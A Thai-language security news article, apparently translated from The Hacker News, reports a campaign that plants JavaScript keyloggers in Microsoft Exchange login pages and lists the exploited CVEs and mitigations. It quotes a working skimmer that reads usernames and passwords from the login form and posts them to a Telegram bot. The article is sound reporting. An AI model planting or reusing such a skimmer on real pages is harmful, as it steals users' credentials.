วันที่ 27 มิถุนายน 2568

แฮกเกอร์กำหนดเป้าหมายเซิร์ฟเวอร์ Microsoft Exchange กว่า 70 แห่งเพื่อขโมยข้อมูลประจำตัวผ่าน Keylogger

ผู้โจมตีที่ไม่ระบุตัวตนกำลังพุ่งเป้าไปที่ Microsoft Exchange Server ที่เปิดให้เข้าถึงได้จากอินเทอร์เน็ต โดยใช้วิธีการอันแยบยลในการแทรกโค้ดอันตรายเข้าไปในหน้าล็อกอิน เพื่อขโมยข้อมูลชื่อผู้ใช้และรหัสผ่านของผู้ใช้งาน

บริษัท Positive Technologies ได้เผยแพร่รายงานวิเคราะห์เมื่อสัปดาห์ที่แล้ว โดยระบุว่าพบโค้ด คีย์ล็อกเกอร์สองรูปแบบ ซึ่งเขียนด้วยภาษา JavaScript บนหน้า Outlook ล็อกอิน:

- แบบที่ 1: บันทึกข้อมูลที่เก็บได้ไว้ในไฟล์บนเซิร์ฟเวอร์ซึ่งสามารถเข้าถึงได้จากอินเทอร์เน็ต
- แบบที่ 2: ส่งข้อมูลที่เก็บได้ไปยังเซิร์ฟเวอร์ภายนอกทันที

บริษัทด้านความปลอดภัยทางไซเบอร์จากรัสเซียรายนี้ระบุว่า การโจมตีดังกล่าวมีเหยื่อแล้ว 65 ราย ใน 26 ประเทศทั่วโลก และถือเป็นการสานต่อแคมเปญที่ถูกค้นพบครั้งแรกในเดือนพฤษภาคม 2024 ซึ่งตอนนั้นมีการโจมตีองค์กรในแอฟริกาและตะวันออกกลาง ในขณะนั้น บริษัทระบุว่าพบเหยื่ออย่างน้อย 30 ราย ครอบคลุมหน่วยงานรัฐบาล, ธนาคาร, บริษัทไอที และสถาบันการศึกษา โดยมีหลักฐานว่าการเจาะระบบครั้งแรกเกิดขึ้นตั้งแต่ปี 2021

กลวิธีและช่องโหว่ที่ถูกใช้

รูปแบบการโจมตีจะใช้ช่องโหว่บน Microsoft Exchange Server (เช่น ProxyShell) เพื่อฝังโค้ดคีย์ล็อกเกอร์ลงในหน้าเข้าสู่ระบบ ปัจจุบันยังไม่ทราบว่าใครอยู่เบื้องหลังการโจมตีครั้งนี้

ช่องโหว่ที่ถูกนำมาใช้บางส่วน ได้แก่:

- CVE-2014-4078: ช่องโหว่เลี่ยงมาตรการความปลอดภัยของ IIS
- CVE-2020-0796: ช่องโหว่ Remote Code Execution ของ Windows SMBv3 Client/Server

- CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 และ CVE-2021-27065: ช่องโหว่ Remote Code Execution บน Microsoft Exchange Server (ProxyLogon)
- CVE-2021-31206: ช่องโหว่ Remote Code Execution บน Microsoft Exchange Server
- CVE-2021-31207, CVE-2021-34473, CVE-2021-34523: ช่องโหว่เลี่ยงมาตรการความปลอดภัยของ Microsoft Exchange Server (ProxyShell)

“โค้ด JavaScript อันตรายจะอ่านและประมวลผลข้อมูลจากฟอร์มล็อกอิน จากนั้นจะส่งข้อมูลออกไปด้วยคำสั่ง XHR request ไปยังหน้าหนึ่งบน Exchange Server ที่ถูกเจาะไว้” นักวิจัยด้านความปลอดภัย Klimentiy Galkin และ Maxim Suslov กล่าว

```
const clkIgn = () => {
    const form = document.getElementById('loginForm');
    const formData = new FormData(form);

    let userIp = "Не удалось узнать IP";
    const xhrIp = new XMLHttpRequest();
    xhrIp.open("GET", "https://api.ipify.org?format=json", false);
    xhrIp.send()

    if (xhrIp.status === 200) {
        const ipData = JSON.parse(xhrIp.responseText);
        userIp = ipData.ip;
    }

    var data = "Login: " + formData.get('username') + "\nPassword: " + formData.get('password') + `\n\n${navigator.userAgent}\n` + `:IP:${userIp}`;

    const xhr = new XMLHttpRequest();

    xhr.open("POST", "https://api.telegram.org/[REDACTED]/sendMessage", false);
    xhr.setRequestHeader("Content-Type", "application/json");

    xhr.send(JSON.stringify({
        chat_id: -453175028O,
        text: data,
        parse_mode: "Markdown",
    }));

    window.location.href = "https://outlook.office.com";
}
```

“ซอร์สโค้ดของหน้าดังกล่าวจะมีฟังก์ชัน handler ที่คอยอ่านคำขอที่เข้ามาและเขียนข้อมูลลงไฟล์บนเซิร์ฟเวอร์” ไฟล์ที่เก็บข้อมูลที่ถูกขโมยจะสามารถเข้าถึงได้จากเครือข่ายภายนอก โค้ดบางเวอร์ชันมีความสามารถคีย์ล็อกแบบโลคอลและยังเก็บข้อมูลคุกกี้ของผู้ใช้, ข้อมูล User-Agent และเวลาที่ล็อกอินด้วย ข้อดีของวิธีนี้คือมีโอกาสถูกตรวจจับน้อยมาก เพราะไม่มีทราฟฟิกขาออกเพื่อส่งข้อมูล

ส่วนเวอร์ชันที่สองที่ Positive Technologies พบ จะใช้ Telegram bot เป็นช่องทางส่งข้อมูล โดยใช้คำสั่ง XHR GET request ซึ่งจะใส่ชื่อผู้ใช้และรหัสผ่านที่ถูกเข้ารหัสไว้ในส่วนหัว APIKey และ AuthToken ตามลำดับ อีกวิธีหนึ่งคือการใช้ DNS tunnel ร่วมกับ HTTPS POST request เพื่อส่งชื่อผู้ใช้และรหัสผ่าน รวมถึงหลีกเลี่ยงระบบป้องกันขององค์กร

ประเทศที่ตกเป็นเป้าหมาย

เซิร์ฟเวอร์ที่ถูกเจาะ 22 เครื่องอยู่ในหน่วยงานรัฐบาล ส่วนที่เหลือกระจายอยู่ในบริษัทไอที, อุตสาหกรรม และโลจิสติกส์ ประเทศที่ถูกโจมตีมากที่สุด 10 อันดับแรก ได้แก่ เวียดนาม, รัสเซีย, ไต้หวัน, จีน, ปากีสถาน, เลบานอน, ออสเตรเลีย, แซมเบีย, เนเธอร์แลนด์ และตุรกี

“ยังมี Microsoft Exchange Server จำนวนมากที่เปิดให้เข้าถึงจากอินเทอร์เน็ตและยังคงมีช่องโหว่เก่าอยู่” นักวิจัยกล่าว “การฝังโค้ดอันตรายเข้าไปในหน้าเข้าสู่ระบบจริง ทำให้ผู้โจมตีสามารถซ่อนตัวได้เป็นเวลานาน ขณะเดียวกันก็ดักจับชื่อผู้ใช้และรหัสผ่านในรูปข้อความได้”

การโจมตีนี้เน้นย้ำถึงความสำคัญของการอัปเดตและแพตช์ระบบ Microsoft Exchange Server อย่างสม่ำเสมอ โดยเฉพาะเซิร์ฟเวอร์ที่เชื่อมต่ออินเทอร์เน็ต เพื่อป้องกันการใช้ช่องโหว่เก่าที่อาจทำให้ข้อมูลสำคัญรั่วไหล และควรใช้มาตรการป้องกันแบบหลายชั้นเพื่อลดความเสี่ยงจากการโจมตีประเภทนี้

ข้อแนะนำ

- อัปเดต Exchange ให้เป็นเวอร์ชันที่ Microsoft ออกแพตช์ปิดช่องโหว่แล้ว
    - สำหรับ Exchange Server ที่ไม่สามารถอัปเดตทันที สามารใช้ temporary mitigation script จาก Microsoft เช่น URL Rewrite Rule หรือ IIS Rewrite
- ปิดการเข้าถึง Exchange OWA/Remote PowerShell ชั่วคราวถ้าไม่จำเป็น
- เปิด 2FA/MFA เพื่อป้องกันการใช้ credentials ที่ถูกขโมยเพื่อเข้าสู่ Exchange Admin Center (EAC) หรือ Remote PowerShell

ข้อมูลอ้างอิง

Jun 24, 2025 By Ravie Lakshmanan

- https://thehackernews.com/2025/06/hackers-target-65-microsoft-exchange.html